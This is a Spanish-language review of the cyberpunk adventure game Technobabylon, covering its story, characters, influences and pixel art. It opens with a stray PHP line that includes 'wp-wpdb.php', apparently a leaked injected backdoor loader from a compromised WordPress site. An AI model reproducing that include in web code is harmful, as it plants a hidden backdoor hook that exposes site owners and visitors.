if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Technobabylon – La Fortaleza de LeChuck

Análisis Technobabylon

La compañía Wadjet Eye Games se ha labrado a golpe de éxitos una reputación sólida en el campo de las aventuras gráficas. Hoy día, este estudio levanta una gran expectación entre sus cada vez más numerosos seguidores cada vez que lanza un nuevo título, siempre utilizando como modelo a seguir el de las aventuras estilo retro-píxel. Tras el un poco decepcionante A Golden Wake, -no desarrollado directamente por ellos, pero sí publicado bajo su sello-, vuelven a apostar fuerte, como en algunos de sus grandes clásicos, por el cyberpunk y la ciencia ficción de la mano del recién lanzado Technobabylon. Y tras probarlo podemos decir que regresan por la puerta grande, con una obra a la altura de sus mejores aventuras.

Technobabylon

Hablar de Wadjet Eye Games es hacerlo de Aventura, en mayúsculas. Su catálogo está lleno de historias que, a pesar de la simpleza de sus píxeles, esconden tramas profundas e inolvidables. Gemini Rue, Primordia, Resonance, la saga Blackwell y tantos otros juegos, son imprescindibles en la biblioteca de cualquier aventurero que se precie. En esta ocasión hay que celebrar que con Technobabylon, Wadjet nos ofrece una historia basada en un mundo futurista cyberpunk, un universo en el que han demostrado anteriormente que se desenvuelven a la perfección; además de ser debilidad personal de un servidor, amante de la obra de Philip K. Dick y todo lo relacionado con ella.

Tanto argumento, como ambientación, beben directamente de este tipo de referencias. Nos situamos en un hipotético año 2087, en una ciudad bajo el control de una IA omnipresente llamada “Central”, la cual además ejerce de guardiana protectora manejando a su entera disposición la fuerza policial. La trama entremezcla la historia de tres personajes que controlaremos con el clásico sistema “point & click”: Charlie Regis, agente del cuerpo que es chantajeado por su oscuro pasado; Latha Sesame, una adicta al “Trance”, una droga que ha acabado prácticamente con las relaciones interpersonales al refugiarse la gente en ella, ya que sumerge a las personas en una especie de mundo virtual muy al estilo Matrix; y Max Lao, otro oficial de policía que se encontrará en la oportuna y habitual encrucijada moral entre su lealtad al cuerpo y las injusticias que ve en este mundo.

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Con esta presentación es inevitable pensar en películas como Blade Runner como inspiración, y lo cierto es que pensando en ello nos acercaremos bastante a la atmósfera que transmite el juego. Incluso más que a la película, Technobabylon recuerda mucho en algunas mecánicas y situaciones al genial juego Blade Runner, de Westwood Studios. De hecho, la otra gran obra cyberpunk distribuida por Wadjet, Gemini Rue, ya tenía una marcada inspiración en esta obra, y el resultado ya entonces fue una gran y redonda aventura.

Technobabylon es fruto del trabajo del desarrollador indie James Dearden, e inicialmente estaba previsto que fuera un proyecto independiente compuesto por ocho capítulos gratuitos, antes de llegar al amparo del sello Wadjet. El proyecto prometía, y la acogida en esta compañía, que ya acumula cierto bagaje y beneficios, permitió al desarrollo añadir un doblaje profesional excelente, como nos tienen acostumbrados (pero siempre en inglés y sin traducción al español, como también nos tienen acostumbrados), una revisión y mejora de la trama, y sobre todo una mejora en el pixel art, gracias al buen hacer del artista principal de la saga Blackwell, Ben Chandler.

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Así pues, Technobabylon es un producto podemos decir 100% Wadjet. Una trama entretenida y con giros interesantes, unos personajes carismáticos aunque con debilidades que los humanizan (Latha es agorafóbica, y todo lo que sea salir de su apartamento es traumático para ella), un estilo pixel art encantador, y un apartado técnico y sonoro sobresaliente. Además, como ya comentamos, las mejores aventuras de Wadjet suceden en futuros hipotéticos no demasiado felices, y Technobabylon no es ni mucho menos una excepción.

Para empezar, el concepto de la Inteligencia Artificial “Central” recuerda con precisión quirúrgica al Gran Hermano (de G. Orwell, no de Mercedes Milá, por favor). Un ente superior que todo lo controla y todo lo maneja, por el bien común. Para el ser humano, la ingeniería genética es algo que se ha normalizado, y además hay un “internet virtual” que tiene a la gente enganchada las 24 horas, haciendo que no se preocupen por nada más que por estar siempre conectados. Detalles vistos en cientos de obras que exploran las distopías: Fahrenheit 451, 1984, Deus Ex, Ghost In The Shell… ¿Por qué el futuro es siempre deprimente e incierto?

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Una de las características de Technobabylon es que, al estar dividida la acción entre tres personajes que van a llevar el peso de la trama, vamos a vivir esta realidad desde una perspectiva bastante diferente en cada caso. Al final, la historia los motiva a los tres a ir a conocer al “creador”, y el recorrido que nos llevará al final de la historia merecerá la pena descubrirlo, empresa que no nos llevará demasiadas horas de esfuerzo conseguir.

En curiosas (aunque acertadas) palabras del propio estudio, Wadjet define Technobabylon como “Blade Runner se cruza con Police Quest.” Technobabylon, dicen, “es un mundo que podría algún día ser el nuestro”. Si ese día llegara, sería tan aterrador como fascinante. Aunque, ¿quién dice que ahora, con menos tecnología que la vista en el juego, estamos tan lejos de esta realidad planteada en Technobabylon?

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Mientras decidís si el mundo en el que vivimos es una realidad, o un sueño del que despertaremos algún día, jugad a este juego. Si os gustan las aventuras gráficas no debéis dejarlo pasar, porque es de las que marcan huella. Otra muestra más en el repertorio de imprescindibles de esta gran compañía, que esperemos nos siga haciendo disfrutar de sus historias durante mucho más tiempo.

Technobabylon está disponible desde hoy en Steam, GOG y en la web oficial por 14,99€

Por Heko

Se peleó de pequeño por hacer funcionar un ZX Spectrum, lo cuál no presagiaba nada bueno a largo plazo, aunque curiosamente él lo recuerda con cariño. Ya de mayor, sufrió un terrible accidente al retirar un USB de su puerto sin esperar a qué fuera seguro quitarlo. La catástrofe asoló medio continente, aunque la radiación le concedió el superpoder mutante de escribir sobre todo lo que a él le apasiona. Entre otras cosas, por supuesto, sobre “eso de los marcianitos”.

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